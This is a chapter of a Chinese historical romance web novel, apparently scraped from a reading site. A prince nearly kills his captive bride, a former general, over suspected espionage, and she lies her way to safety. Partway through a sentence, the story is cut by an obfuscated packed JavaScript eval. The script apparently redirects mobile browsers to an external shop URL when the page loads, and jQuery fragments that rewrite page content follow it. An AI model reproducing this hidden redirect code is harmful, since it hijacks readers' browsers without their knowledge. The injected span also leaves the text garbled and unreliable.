49. 虚与委蛇

作品:《金戈映红妆追杀偏执狂

    事毕,小王爷看着她熟睡的容颜,难怪乌拉赞不肯杀她也不肯放过她,除她以外,没有人能带给他如此妙不可言的滋味,她的身体才是男人南征北战最好的慰籍。


    他思念她思念得食不知味,夜不能寐,可她为什么是夜叉?


    夜叉为什么不能放下国仇家恨?夜叉为什么坚持要做他突厥国的敌人?


    夜叉为什么不能放下过去?他都愿意放下……


    他愿意做一个瞎子聋子,愿意忘却她所做过的事情,愿意原谅她所犯下的罪行,只因她如今只是一个手无缚鸡之力朝不保夕的女子,她对突厥而言再无威胁……可是她为什么依然贼心不死?


    他颤抖着举起匕首,他要从哪里开始?是她擅于说谎的咽喉,还是她只装着泱国的心?


    他应该剖开她的胸膛,看看她的忠肝义胆究竟是个什么颜色!


    赵环佩猛地睁开了眼睛!长久以来征战沙场的经验练就了她面对危险时的警觉性,所以即便她已累极睡去,潜意识依旧为她敲响了警钟。


    她大惊失色,猛地滚下床榻,遮住春光道:“你干什么?!”


    他见她的反应也是一惊,他没料到她会醒来,更没想到她的反应会如此迅捷。夜叉果然不是寻常女子,即便断了筋脉,武功尽失,又与他累极睡去还能有如此敏锐的直觉与反应。这一认知更坚定了他杀她的决心。


    “你要杀我?为什么?!”赵环佩惊怒交加,她以为她攀上了大树终能脱离寒潭,怎料竟把自己推进了火坑?


    他脸色阴沉道:“一国之将绝非等闲,忍辱负重是为哪般?”


    她答:“是为活命。”


    他道:“说谎!倘若泱国弃你,你一切荣耀皆化尘土,所活何求?被迫和亲突厥受尽屈辱生不如死,所活何乐?”


    她答道:“实为怕死。”


    他道:“一派胡言!你曾率领千军万马,浴血奋战,出生入死,何谈一个怕字?真若胆怯,又怎能名震天下?”


    赵环佩无言以对。谁说上战场她不怕?她是真怕。令她名震天下的也不是她的胆色,而是那杆邪门的枪啊!可这怎么能告诉旁人?何况他还是个突厥人。


    他见赵环佩语塞,冷笑道:“其实泱国并未弃你,他们假意臣服,实则贼心不死,使出苦肉计将你送来和亲,妄图让你颠覆我突厥?是也不是?”


    赵环佩道:“不是!”


    “那个宋宁,他假意开罪突厥,目的是留在突厥充当细作?而你让我救他也是你们计划中的一环,是也不是?”


    赵环佩愤然叫道:“绝无此事!”


    “还在说谎!”小王爷大怒,跳下塌来逼近她,“我已经识破了你们的伎俩!你竟然还在说谎!”


    赵环佩转身便逃,可没跑几步便被他攥住了头发。


    赵环佩大惊,立即转身,利刃直刺而下,吓得她直接瘫坐在地上。


    她看着神色狠厉的男人和悬在她上方的匕首,泪水瞬间滑落。“你怎能如此对我?怎能如此是非不分、颠倒黑白?你的意思是你在雪地里强迫我也是我策划的?”


    他一怔,“我……我哪里有强迫你?那分明……分明……”


    她的泪水犹如断了线的珠子,“分明什么?是我勾引你的?”


    “当然不是,是我,是我情难自禁……可是你为什么?为什么一定要跟突厥作对?为什么心里要一直装着泱国?!”


    她摇头落泪,“不管你信与不信,我都要说与你听。在泱国与在突厥一样,不论尊卑贵贱,女子的地位都远不及男子。自从赵荣佩被你们俘虏,身为女子的我便成为了牺牲品被逼上了战场,解救兄长是我的责任更是我家族定义我存在的唯一价值。我千辛万苦救出赵荣佩以为终于可以功成身退,却不料被你们擒获,因身为女子,遭泱国举国唾弃,更被污为妖女,最后被我祖母命人活埋!”


    她悲愤陈述,声声泣血,字字带泪,她的眼泪顺着她的脸颊滴落在她的锁骨上,她看起来是这样的楚楚可怜,人畜无害,让他再次心生惶惑。


    “你说泱国并未弃我?倘若泱国不肯弃我,何不找个相似之人代替我?左右被断筋脉后成了废人一个,你们要分辨也是不容易的。倘若泱国不忍弃我,又怎会当真断我筋脉?”


    她举起手来,伤处疤痕狰狞可怖。“你们突厥的巫医不也验过?这伤是做不得假的!这是你们突厥人给我的报复!更是泱人给我最大的屈辱!”


    他道:“既然如此,你为何不能安分守己?你就这么恨突厥人?非要与突厥过不去?”


    其实他根本是多此一问,她若是真的赵环佩,就算遭母国抛弃,也定然恨突厥到底。即便她是假的赵环佩,遭受突厥可汗的非人虐待,也没有不恨的道理。可这真话无论如何也不能说与他听。


    “如今的我,能活着已是不易,何必非要与突厥过不去?我也没有不安分,宋宁是细作与否我毫不知情,也跟我毫无关系!我想救他不过是因为我们曾并肩作战的情谊。”


    “那那杆枪到底是怎么回事?怎么会藏在和亲嫁妆的马车里?”


    “你也是习武之人,你应该明白随身武器对一个习武之人来说意味着什么?即便我已经没有能力再拿起它,可并不意味着我对它没有了感情,它是伙伴是老友是我曾经的生命!我究竟何错之有?我至多不过是想再看到它就像想见一个久别的朋友。”


    他冷笑,“何错之有?你竟然还好意思问自己何错之有?那杆枪上染了多少突厥人的血?”


    “那你们突厥人的刀上又染了多少无辜之人的血?”她好似有所觉悟,点头道:“我明白了,因为我是俘虏!因为我不过是一个顶着和亲名分的战俘!是我想多了,我有什么权利向你们索要公平?我一个苟且偷生的废物,有什么资格向你们要求平等?”


    她缓缓站起来,换上一副决绝而无畏的神色,“就因为我曾经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918463|189842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是你的敌人,所以我便永远是敌人,即便我与你有了肌肤之亲,即便我心仪于你。就因为我曾经做错过,所以做什么都是错!发现了蛛丝马迹就怀疑于我,不是我做的也硬是要往我身上推。既然你有心杀我,又何苦诓骗于我?当时你在雪地里做完就该把我杀了!”


    她说什么?她说她心仪于他?这是真的吗?他感到有一霎那的眩晕,仿佛被闪电击中,那是幸福的馈赠,狂风吹起海浪,波涛激荡。杀她?他怎会杀她呢?他如今不但得到了她的人,他还得到了她的心啊!


    可他是突厥人,还不是个普通的突厥人,他是突厥的王爷,他对突厥国有责任!


    “你……你真的没有图谋不轨?”


    她答:“我手无缚鸡之力,那杆枪我根本都拿不起来,如何图谋不轨?”


    他又问:“倘若没有泱人知会于你,你如何得知你的长枪已随车而来?”


    她答:“我不知道。我只是去碰碰运气,你不是也看到了?我抽出长枪又将其塞了回去,是因为我根本拿不动。我若知长枪必然会到,我定会用拖锹将其拖回帐里去,我怎么还会把它留在马车上?若马车被赶走了,我去哪里找寻?”


    他的确是亲眼所见,而且除了一杆长枪,他没有再搜出其他任何可疑的东西,难道他真的错怪了她?


    他再问:“是谁把长枪放进马车的?”


    她答:“究竟是谁我也不知道,或许是赵家军,也或许仅仅是赵家军里的某个士兵。赵家军一直有个习俗,战士死后尸骨要与兵器埋在一起,以求灵魂与形式上的圆满。我应该感激他们,他们没有像泱国甩掉块破抹布一样急于甩掉我,他们之中至少还有一个人愿意为我的身后事做打算。”


    她说得很令人动容,让阿史那明旭都不禁向往起赵家军之间的深厚情感。当然他不会知道这纯粹是她为了糊弄他而编造的谎言,事实是她曾经叮嘱过宋宁与刑深,只要有机会就无论如何都要把追魂给她送到突厥来。


    他收了匕首,神色有些不自然,嗫嚅道:“夜叉,你不要怪我,实在是因为……实在是因为……”


    她冷眼看他,面露冷笑,“实在是因为我曾经恶贯满盈所以你不得不防,你其实宁愿错杀也不愿放过,只不过你与乌拉赞一样,贪我的身子,心里无时无刻不想杀我,却又为了一己私欲下不了决心杀我。”


    他被说中了心事,满脸通红,“夜叉,其实并不是这样……”


    她被他的所作所为寒了心,说话也不再留情面,“做都做了,何不坦荡一点?”说着她伸手搂住他的颈项,把身子挨进他怀里,“春宵苦短,再不抓紧时间乌拉赞就要回来了。”


    见他依旧不为所动,她又道:“怎么?你还在有所顾虑?那你把长枪收好别给我便是。等什么时候我死了,劳烦你把它跟我埋一起。”


    她吻向他紧抿的薄唇,泪水随之滑落,“只此一件,便足以让我对你感激涕零……”